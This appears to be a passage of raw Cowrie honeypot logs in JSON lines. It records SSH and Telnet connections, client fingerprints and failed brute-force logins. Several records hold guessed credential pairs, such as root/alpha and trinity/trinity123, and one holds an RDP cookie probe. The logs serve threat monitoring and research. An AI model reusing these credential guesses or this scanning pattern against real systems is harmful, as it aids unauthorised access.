{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:56:74:6e:56:64:74:54:1c:4a:66:cb:e8:ed:a3:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD+ftskNVxEKzzHC7lZZbqRpk+V7R8kvTW/BNQMa7hWnh9n4rUO7WVMMaxwx5ngYqFBzKRkvk6HCzASw7AoSOL8VxwkFUe4VHZd+WQhck8dKDxmP2n3vW9rQD6MWRRc0e6a+T7QcfwuWnUQU4jBcaPcraK/SWQ0z7330ctuSQ0ByhqrH+Bp9+STBXoMvmbn+0ZJ5iKmynB65qTK2r2d6OxoAb5aznHWTJm9JqTenNPct5bERdmRZPtFjDVk05m++7iFAGLLujwXaps7t2kdFwEQ31NSjgcOySy2/0hDMYZGLmC3OcegZSFhuSyc7UlH4q5mrcDAO8mx5m0VdDnh+eESmk1A72dQ8aY6l0U7sEQF5a9XP8al/sX/FUjkjBtgV0l5HCYVD0IYjAxmNRlLGfbsEe/EOu0vQb1c5apBU9CTd/kJKdaAfGza8/3hwxFTt48we+6S+CeVmgABdRnSn1cYj+Rmrj39MsCEsblgQFk00sAwAk8XrF9gnln83tqjg7NDQNbFolq6DtFQ/6Meut6qp8aot26PMA7Q7BFNruZCMIy1l/Yad4l/aWdwKToQsG7USS5tXQeeRLCaPvIZnvViTNk8sb9GhuH6qtyRVsKzptUIxCA0+Zx0KCwK4DVjSRz3AzLk7WzPgNhpYg+/aV9g07BH+N/1be0gyng2o4/vw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:56:74:6e:56:64:74:54:1c:4a:66:cb:e8:ed:a3:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.372563Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:56:74:6e:56:64:74:54:1c:4a:66:cb:e8:ed:a3:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDD+ftskNVxEKzzHC7lZZbqRpk+V7R8kvTW/BNQMa7hWnh9n4rUO7WVMMaxwx5ngYqFBzKRkvk6HCzASw7AoSOL8VxwkFUe4VHZd+WQhck8dKDxmP2n3vW9rQD6MWRRc0e6a+T7QcfwuWnUQU4jBcaPcraK/SWQ0z7330ctuSQ0ByhqrH+Bp9+STBXoMvmbn+0ZJ5iKmynB65qTK2r2d6OxoAb5aznHWTJm9JqTenNPct5bERdmRZPtFjDVk05m++7iFAGLLujwXaps7t2kdFwEQ31NSjgcOySy2/0hDMYZGLmC3OcegZSFhuSyc7UlH4q5mrcDAO8mx5m0VdDnh+eESmk1A72dQ8aY6l0U7sEQF5a9XP8al/sX/FUjkjBtgV0l5HCYVD0IYjAxmNRlLGfbsEe/EOu0vQb1c5apBU9CTd/kJKdaAfGza8/3hwxFTt48we+6S+CeVmgABdRnSn1cYj+Rmrj39MsCEsblgQFk00sAwAk8XrF9gnln83tqjg7NDQNbFolq6DtFQ/6Meut6qp8aot26PMA7Q7BFNruZCMIy1l/Yad4l/aWdwKToQsG7USS5tXQeeRLCaPvIZnvViTNk8sb9GhuH6qtyRVsKzptUIxCA0+Zx0KCwK4DVjSRz3AzLk7WzPgNhpYg+/aV9g07BH+N/1be0gyng2o4/vw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.377115Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.462155Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":46484,"dst_ip":"10.17.0.5","dst_port":22,"session":"66ff178c668b","protocol":"ssh","message":"New connection: 8.154.2.19:46484 (10.17.0.5:22) [session: 66ff178c668b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:29.894477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:29.898630Z","src_ip":"8.154.2.19","session":"66ff178c668b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:30.144811Z","src_ip":"8.154.2.19","session":"66ff178c668b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha","message":"login attempt [root/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:31.164890Z","src_ip":"8.154.2.19","session":"66ff178c668b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":15528,"dst_ip":"159.203.135.109","dst_port":22,"session":"508e702dcefc","protocol":"ssh","message":"New connection: 213.209.159.56:15528 (159.203.135.109:22) [session: 508e702dcefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:32.314402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:32.318688Z","src_ip":"213.209.159.56","session":"508e702dcefc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:32.402613Z","src_ip":"213.209.159.56","session":"508e702dcefc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:32.428018Z","src_ip":"8.154.2.19","session":"66ff178c668b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:32.809978Z","src_ip":"213.209.159.56","session":"508e702dcefc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity1","message":"login attempt [trinity/trinity1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:33.895977Z","src_ip":"213.209.159.56","session":"508e702dcefc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity123","message":"login attempt [trinity/trinity123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:34.983571Z","src_ip":"213.209.159.56","session":"508e702dcefc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity1234","message":"login attempt [trinity/trinity1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:36.069911Z","src_ip":"213.209.159.56","session":"508e702dcefc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity12345","message":"login attempt [trinity/trinity12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:37.155371Z","src_ip":"213.209.159.56","session":"508e702dcefc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:38.242382Z","src_ip":"213.209.159.56","session":"508e702dcefc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":57612,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d833e3b0450","protocol":"ssh","message":"New connection: 38.253.239.21:57612 (159.203.135.109:22) [session: 7d833e3b0450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:03.237565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:03.242310Z","src_ip":"38.253.239.21","session":"7d833e3b0450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:03.468515Z","src_ip":"38.253.239.21","session":"7d833e3b0450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prince","message":"login attempt [root/prince] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:04.398944Z","src_ip":"38.253.239.21","session":"7d833e3b0450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.177.138.219","src_port":33147,"dst_ip":"159.203.135.109","dst_port":23,"session":"46dba41252f0","protocol":"telnet","message":"New connection: 183.177.138.219:33147 (159.203.135.109:23) [session: 46dba41252f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:05.508486Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:05.627851Z","src_ip":"38.253.239.21","session":"7d833e3b0450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55040,"dst_ip":"10.17.0.5","dst_port":22,"session":"cff7087962df","protocol":"ssh","message":"New connection: 167.172.81.52:55040 (10.17.0.5:22) [session: cff7087962df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:06.013204Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:06.017171Z","src_ip":"167.172.81.52","session":"cff7087962df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:06.019801Z","src_ip":"167.172.81.52","session":"cff7087962df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:14.308655Z","src_ip":"115.190.168.136","session":"007f37d78a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.08268666267395,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:18.591033Z","src_ip":"183.177.138.219","session":"46dba41252f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":35806,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0318f6591c6","protocol":"ssh","message":"New connection: 103.173.227.57:35806 (10.17.0.5:22) [session: e0318f6591c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:30.575985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:30.580796Z","src_ip":"103.173.227.57","session":"e0318f6591c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:30.821627Z","src_ip":"103.173.227.57","session":"e0318f6591c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39188,"dst_ip":"10.17.0.5","dst_port":22,"session":"d65e0eb16b27","protocol":"ssh","message":"New connection: 37.233.85.71:39188 (10.17.0.5:22) [session: d65e0eb16b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:31.206445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:31.210878Z","src_ip":"37.233.85.71","session":"d65e0eb16b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:31.320040Z","src_ip":"37.233.85.71","session":"d65e0eb16b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrei123","message":"login attempt [root/andrei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:31.544377Z","src_ip":"103.173.227.57","session":"e0318f6591c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nataha","message":"login attempt [root/nataha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:31.646899Z","src_ip":"37.233.85.71","session":"d65e0eb16b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:32.757524Z","src_ip":"37.233.85.71","session":"d65e0eb16b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:32.787292Z","src_ip":"103.173.227.57","session":"e0318f6591c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45268,"dst_ip":"159.203.135.109","dst_port":22,"session":"032a277e8c61","protocol":"ssh","message":"New connection: 103.75.182.198:45268 (159.203.135.109:22) [session: 032a277e8c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:45.486863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:45.491637Z","src_ip":"103.75.182.198","session":"032a277e8c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:45.740296Z","src_ip":"103.75.182.198","session":"032a277e8c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"general","message":"login attempt [root/general] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:46.490216Z","src_ip":"103.75.182.198","session":"032a277e8c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:26:47.741342Z","src_ip":"103.75.182.198","session":"032a277e8c61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":36630,"dst_ip":"159.203.135.109","dst_port":22,"session":"46b4772efd79","protocol":"ssh","message":"New connection: 46.19.67.181:36630 (159.203.135.109:22) [session: 46b4772efd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:01.594818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:01.599926Z","src_ip":"46.19.67.181","session":"46b4772efd79","protocol":"ssh"}
